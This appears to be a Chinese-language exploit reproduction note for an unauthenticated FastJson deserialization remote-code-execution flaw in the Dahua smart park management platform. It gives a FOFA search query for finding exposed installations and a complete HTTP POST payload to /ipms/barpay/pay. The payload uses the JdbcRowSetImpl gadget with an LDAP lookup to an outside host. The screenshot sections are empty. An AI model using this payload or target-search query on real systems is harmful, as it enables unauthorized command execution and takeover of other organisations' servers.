D2-12大华-智慧园区综合管理平台-RCE

漏洞描述：

大华智慧园区综合管理平台 /ipms/barpay/pay、deleteFtp、等接口存在FastJson反序列化漏洞，未授权的攻击者可利用此漏洞执行任意命令,获取服务器权限。

网站图片：

网络测绘：

fofa语法：

FOFA：app="dahua-智慧园区综合管理平台"

漏洞复现：

payload：

```
POST /ipms/barpay/pay HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close

{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://dnslog.cn", "autoCommit": true}
```

效果图: